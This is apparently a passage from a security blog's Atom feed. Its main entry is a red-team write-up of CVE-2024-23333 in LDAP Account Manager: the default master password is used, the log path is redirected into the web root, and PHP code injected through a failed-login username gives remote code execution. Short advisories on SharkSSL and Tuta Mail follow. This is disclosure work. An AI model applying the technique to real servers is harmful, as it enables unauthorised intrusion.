    <title>Remote code execution in LDAP Account manager through CVE-2024-23333 (Exploiting web applications Part I)</title>
    <link href="https://github.security.telekom.com/2025/01/ldap-account-amanger-rce-cve-2024-23333.html"/>
    <id>https://github.security.telekom.com/2025/01/ldap-account-amanger-rce-cve-2024-23333.html</id>
    <updated>2025-01-14T00:00:00+00:00</updated>
    <summary type="html">During red teaming engagements, the first step is to gain a foothold in the client’s network. That might happen through a phishing attempt, malicious payloads, physical access to the client’s site or an assumed breach. But what happens once you got access to the network?</summary>
    <content type="html">&lt;p&gt;During red teaming engagements, the first step is to gain a foothold in the client’s network. That might happen through a phishing attempt, malicious payloads, physical access to the client’s site or an assumed breach. But what happens once you got access to the network? &lt;!--more--&gt;
With the goal to overtake the company by gaining domain dominance in mind, you need to move step-by-step.
So, during one engagement, we were at this point. We had gained initial access, could poke around in the client’s network but did not yet have any domain credentials which we could abuse for our attack. 
We were carefully looking around in the customer’s network, trying to get ourselves onto a server, in the hope of it being domain-joined and being able to extract valid domain credentials.
As we were poking around, we stumbled across a webserver that had an application called LDAP Account Manager (&lt;a href=&quot;https://github.com/LDAPAccountManager/lam/&quot;&gt;LAM&lt;/a&gt;) running.&lt;/p&gt;

&lt;p&gt;This blog post describes the path of identifying, understanding and exploiting a remote code execution (RCE) vulnerability in LAM.&lt;/p&gt;

&lt;h3 id=&quot;identify-a-potential-vulnerability&quot;&gt;Identify a potential vulnerability&lt;/h3&gt;

&lt;p&gt;LAM is an open-source application that helps with managing LDAP entries. At this point, there were no publicly known vulnerabilities that one could exploit for gaining remote code execution on the server. 
So we did our own research.&lt;/p&gt;

&lt;p&gt;On the main screen of LAM’s landing page, there is menu item called “configuration”, which sounded interesting.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/lam.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It seems to allow the modification of various settings.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/lam_config.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However, a master password is required.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/lam_masterpassword.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A quick Google search revealed that the default master password is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lam&lt;/code&gt;, as the vendor describes &lt;a href=&quot;https://www.ldap-account-manager.org/static/doc/manual/ch03.html&quot;&gt;in the documentation.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Success! No one changed the default password. We see this often in red teaming engagements—that default passwords work for all kinds of applications: printers, web applications, settings, etc. A strong-willed attacker will use the slightest indication of success to penetrate a system. Therefore, everything will be exploited. We strongly recommend that you change your default login credentials to avoid giving attackers a target.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/lam_filelogging.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With access to the configuration panel, we looked through the various options and stumbled across the logging feature.
Log data can be saved to an arbitrary filepath, which releases the smell of log poisoning in the air - let’s give it a try.&lt;/p&gt;

&lt;h4 id=&quot;our-idea-for-gaining-remote-code-execution-rce-was-the-following&quot;&gt;Our idea for gaining remote code execution (RCE) was the following:&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;Create a log file within the web root, using a .php extension so that the web server directs it to the PHP interpreter.&lt;/li&gt;
  &lt;li&gt;Identify an input value that can be controlled and saved in this log file to inject PHP code.&lt;/li&gt;
  &lt;li&gt;Access the log file via the web server to execute remote code (RCE).&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;source-code-analysis&quot;&gt;Source code analysis&lt;/h3&gt;

&lt;p&gt;When exploiting vulnerabilities, it is a good idea to have a look at and to understand the source code (if accessible).
It can only make it easier to perform the exploitation, and it helps to see if there are any constraints or side-effects from the exploitation.
Also, when studying the source code, you may find even more vulnerabilities or bugs that could be chained together.&lt;/p&gt;

&lt;p&gt;So, we have a look in the source code in the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;templates/config/mainmanage.php&lt;/code&gt;, since this is what we see in our browser’s address bar.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logFile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logFile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/^[a-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;._-]+$/i&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logFile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logDestination&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logFile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$errors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;The log file is empty or contains invalid characters!
                    Valid characters are: a-z, A-Z, 0-9, /, &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, ., :, _ and -.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see, there is no checking for path traversal, file extensions sanitization or any other form of sanitization.
This is promising for our exploitation.&lt;/p&gt;

&lt;p&gt;We further saw in the same file that the settings are saved via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$cfg-&amp;gt;save();&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// save settings&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;submit&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;save&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$errors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;metaRefresh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;../login.php?confMainSavedOk=1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$cfg&lt;/code&gt; is an object of class &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LAMConfig&lt;/code&gt; defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lib/config.inc&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;save()&lt;/code&gt; function also does not do any further sanitization and thus saves it to the file directly.&lt;/p&gt;

&lt;p&gt;Now we need to know an absolute path on the webserver, in order to deliberately store the malicious log file.
We could not find an information disclosure in LAM, but as luck was on our side, there is a file on the server in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;old/phpinfo.php&lt;/code&gt;. We found this directory using &lt;a href=&quot;https://github.com/ffuf/ffuf/&quot;&gt;ffuf&lt;/a&gt;. As the name suggests, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phpinfo.php&lt;/code&gt; calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phpinfo()&lt;/code&gt; and thus prints the absolute filepath on the server, among a bunch of other information.
With this information in hand, we configured LAM to write the config file to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/html/old/demo.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Note: A correct LAM installation, as described in offical sources, does not expose any writable paths. Thus, the exploitation relies on either a misconfigured installation or “third-party” writable file systems paths.&lt;/p&gt;

&lt;h3 id=&quot;finding-a-poisonable-log-entry&quot;&gt;Finding a poisonable log entry&lt;/h3&gt;

&lt;p&gt;Now we need to find a user controllable value that is written to the log file.
First, we need to find how log entries are created.
So, we &lt;em&gt;grep&lt;/em&gt; through the code with &lt;a href=&quot;https://beyondgrep.com/&quot;&gt;ack&lt;/a&gt; and look for the already known config value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logDestination&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack logDestination

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;..]

lib/security.inc
267:    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;NONE&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
276:    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;SYSLOG&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
280:    elseif &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;strpos&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination, &lt;span class=&quot;s1&quot;&gt;&apos;REMOTE&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
285:            @touch&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
286:            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;is_writable&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
287:                    &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; fopen&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination, &lt;span class=&quot;s1&quot;&gt;&apos;a&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
300:                    StatusMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;ERROR&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;Unable to write to log file!&apos;&lt;/span&gt;, &lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
791:    &lt;span class=&quot;nv&quot;&gt;$remoteParts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; explode&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;:&apos;&lt;/span&gt;, &lt;span class=&quot;nv&quot;&gt;$cfgMain&lt;/span&gt;-&amp;gt;logDestination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;..]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Among other hits, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lib/security.inc&lt;/code&gt; seems to be the correct location. Looking in the actual file reveals the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logNewMessage&lt;/code&gt;, which is the next keyword that we &lt;del&gt;grep&lt;/del&gt; ack for.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ack logNewMessage

templates/login.php
109:    logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_DEBUG, &lt;span class=&quot;s2&quot;&gt;&quot;Change server profile to &quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;useProfile&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
186:    logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_DEBUG, &lt;span class=&quot;s2&quot;&gt;&quot;Display login page&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
508:                    logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_DEBUG, &lt;span class=&quot;s2&quot;&gt;&quot;Empty password for login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
567:                            logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_ERR, &lt;span class=&quot;s1&quot;&gt;&apos;User &apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos; (&apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$clientSource&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;) 
                                    failed to log in. &apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$searchError&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
590:    logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_NOTICE, &lt;span class=&quot;s1&quot;&gt;&apos;User &apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos; (&apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$clientSource&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;) successfully logged in.&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nice! A failed login saves the username? That looks good! Let’s try!&lt;/p&gt;

&lt;p&gt;First, we verify that the log file is accessible by opening the page:
&lt;img src=&quot;/assets/images/lam/logfile.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Success! So let us poison the username with PHP source code :). 
We use Burp to intercept the login request.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/burp1.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We send it to the repeater and insert a PHP payload that runs the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/burp2.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let us see how the log file now looks like:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/rce.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Oh yes, the PHP code got interpreted and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; command executed on the server. The result is rendered in the log file! We got RCE on the server and can continue compromising the customer!&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Default credentials are always dangerous, even if only simple settings can be configured. 
Also, it is not a good idea to expose old/test/dev files on your servers; simple information such as a filepath can be useful for an attacker to successfully breach your system.
Just because a project is 20 years old doesn’t mean that it doesn’t contain security vulnerabilities or that they have all been discovered. Hence, researching for vulnerabilities can end in success when attempting to gain access to systems.&lt;/p&gt;

&lt;h3 id=&quot;vulnerability-details&quot;&gt;Vulnerability Details&lt;/h3&gt;

&lt;p&gt;This vulnerability has been assigned &lt;a href=&quot;https://github.com/LDAPAccountManager/lam/security/advisories/GHSA-fm9w-7m7v-wxqv&quot;&gt;CVE-2024-23333&lt;/a&gt; via &lt;a href=&quot;https://github.com/LDAPAccountManager/lam/security/advisories/GHSA-fm9w-7m7v-wxqv&quot;&gt;GHSA-fm9w-7m7v-wxqv&lt;/a&gt; with a CVSS 3 score of 7.9.&lt;/p&gt;

&lt;p&gt;The issue has been fixed in LAM version 8.7, affected versions are &amp;lt; 8.7.&lt;/p&gt;

&lt;p&gt;Additionally, vulnerability &lt;a href=&quot;https://github.com/LDAPAccountManager/lam/security/advisories/GHSA-6cp9-j5r7-xhcc&quot;&gt;CVE-2024-52792&lt;/a&gt; has been discovered, that could bypass the security fix.&lt;/p&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-01-11:&lt;/strong&gt; Vulnerability CVE-2024-23333 reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-03-16:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-15:&lt;/strong&gt; Vulnerability CVE-2024-52792 reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-19:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2025-01-14:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Remote buffer overflow vulnerability in SharkSSL TLS handshake processing</title>
    <link href="https://github.security.telekom.com/2024/12/sharkssl.html"/>
    <id>https://github.security.telekom.com/2024/12/sharkssl.html</id>
    <updated>2024-12-19T00:00:00+00:00</updated>
    <summary type="html">A new remote buffer overflow vulnerability was discovered in the latest version of the SharkSSL library from 05.05.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods.</summary>
    <content type="html">&lt;p&gt;A new remote buffer overflow vulnerability was discovered in the latest version of the SharkSSL library
from 05.05.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche
Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods. &lt;!--more--&gt;The vulnerability allows
an attacker to read large regions of the SharkSSL TLS server’s memory. This is likely to result in a
segmentation fault and can be used for a remote Denial-of-Service attack by an attacker.
Special thanks to Robert Hörr for his support, supervision and guidance during this research.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/advisories/CVE_2024_53379_report_sharkSSL_ClientHello.pdf&quot;&gt;View the full advisory&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Tuta Mail Vulnerability - Client Information Leak</title>
    <link href="https://github.security.telekom.com/2024/11/tuta-mail-svg-image-ip-leak.html"/>
    <id>https://github.security.telekom.com/2024/11/tuta-mail-svg-image-ip-leak.html</id>
    <updated>2024-11-29T00:00:00+00:00</updated>
    <summary type="html">An client information leak vulnerability (CVE-2024-23330) has been identified in Tuta Mail. This vulnerability could leak client information by loading external resources in the mail even if disabled.</summary>
    <content type="html">&lt;p&gt;An client information leak vulnerability (CVE-2024-23330) has been identified in Tuta Mail. This vulnerability could leak client information by loading external resources in the mail even if disabled.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Tuta Mail&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; Tuta Mail &amp;lt; 3.119.10&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Server-Side Request Forgery (SSRF) (CWE-918)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Medium&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://tuta.com/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-23330&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability was discovered during testing of Tutanota for iOS. By sending a html email with an embeded svg image, an attacker could receive the information when the email was read, which device is used and the user’s ip address.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-23330&quot;&gt;CVE-2024-23330&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/tutao/tutanota/security/advisories/GHSA-32w8-v5fc-vpp7&quot;&gt;Tuta Mail Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-01-22:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-29:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Tom Peine (&lt;a href=&quot;mailto:Tom.Peine@telekom.de&quot;&gt;Tom.Peine@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Tuta Mail Vulnerability - DoS</title>
    <link href="https://github.security.telekom.com/2024/11/tuta-mail-dos.html"/>
    <id>https://github.security.telekom.com/2024/11/tuta-mail-dos.html</id>
    <updated>2024-11-29T00:00:00+00:00</updated>
    <summary type="html">A denial of service vulnerability (CVE-2024-23655) has been identified in Tuta Mail. This vulnerability could prevent users from accessing and reading received mails when an attacker sends a manipulated mail.</summary>
    <content type="html">&lt;p&gt;A denial of service vulnerability (CVE-2024-23655) has been identified in Tuta Mail. This vulnerability could prevent users from accessing and reading received mails when an attacker sends a manipulated mail.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Tuta Mail&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; Tuta Mail &amp;gt;=3.118.12, &amp;lt; 3.119.10&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Input Validation (CWE-20)&lt;/li&gt;
